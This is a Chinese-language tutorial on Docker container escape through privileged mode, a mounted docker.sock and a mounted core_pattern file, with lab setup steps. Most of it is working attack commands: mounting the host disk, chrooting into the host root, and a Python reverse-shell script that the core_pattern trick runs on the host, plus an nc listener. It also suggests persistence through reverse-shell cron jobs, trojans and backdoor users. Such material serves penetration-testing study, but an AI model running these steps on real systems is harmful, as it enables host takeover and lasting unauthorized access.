Docker容器逃逸-特权模式-危险挂载
Docker这个概念: Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
Docker会遇到的安全问题大概有三点:
-
不安全的第三方软件
- 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。
-
不安全的镜像
- 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
-
敏感信息泄露
- 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。
判断当前是否在Docker中:
没有权限:很难直接通过某个特征直接判断出来,需要经验和目标的综合表现来判断
https://blog.csdn.net/qq_23936389/article/details/131486643
有命令执行权限:查看/.dockerenv这个文件是否存在,存在就是Docker环境
Docker逃逸:
-
特权模式启动导致的Docker逃逸:
启动靶场:
docker run --rm --privileged=true -it alpine
判断特权:
cat /proc/self/status | grep CapEff
在容器内部执行上面这条命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
查看挂载磁盘设备:fdisk -l
挂载目录:mkdir /test && mount /dev/vda1 /test
#把/dev/vda1这个目录改成目标对应的存在的目录;
#这一步就是因为由特权模式导致权限过高,导致可以把物理机的根目录直接挂载到Docker容器中的虚拟目录判断结果:
cd /test && ls
权限维持的方法:留下反弹shell的定时计划任务;留下主机木马;创建后门用户
- 危险挂载启动导致的Docker逃逸:
启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
检测环境:ls -lah /var/run/docker.sock
挂载逃逸:(下面这三条命命令就是在docker容器中,再下载一个docke)
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部:
docker run -it -v /:/host ubuntu /bin/bash chroot /host
上面这两条命令的目的是将当前正在运行的Docker容器的根文件系统切换到宿主机的根文件系统上:
-
docker run -it -v /:/host ubuntu /bin/bash
:-
docker run
: 运行一个新的容器。 -
-it
: 分配一个伪终端并保持标准输入打开以便与容器进行交互。 -
-v /:/host
: 将宿主机的根文件系统挂载到容器内的/host
目录。这个挂载的操作允许容器内部访问宿主机的文件系统。 -
ubuntu
: 指定容器的镜像为Ubuntu。 -
/bin/bash
: 在容器内启动bash shell。
-
-
chroot /host
:-
chroot
: 更改根目录到指定目录。 -
/host
: 指定切换到的新根目录。
-
这两个命令的结合效果是,在一个新的Ubuntu容器中,首先将宿主机的根文件系统挂载到容器内的/host
目录上,
然后通过chroot
命令将容器的根目录切换到宿主机的根目录上,从而使得在容器中执行的命令会影响到宿主机的文件系统。
这种操作需要在宿主机上有足够的权限才能执行。
-
挂载了宿主机Procfs系统导致的Docker逃逸
启动环境:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:
find / -name core_pattern
查看当前容器在宿主机上的绝对路径:
cat /proc/mounts | grep docker
写入文件:
cat >/tmp/.x.py << EOF #!/usr/bin/python import os import pty import socket lhost = "xx.xx.xx.xx" lport = xxxx def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if **name** == "__main__": main() EOF
chmod +x /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern
上面这条echo命令中容器在宿主机的绝对路径要根据自己的环境改变;后面重定向符号到哪里的那个路径也是根据
find / -name core_pattern
命令的结果决定的cat >/tmp/x.c << EOF #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; } EOF
gcc x.c -o x
开启监听
nc -lvvp xxxx
执行文件:
./x
这反弹出来的权限就会是物理机的权限了
Tips:
- docker images 查看系统中docker一共拉取下来的镜像文件有哪些
- 特权模式启动并不是指Root用户启动,而是指在启动镜像的时候用了 --rm --privileged=true 这个命令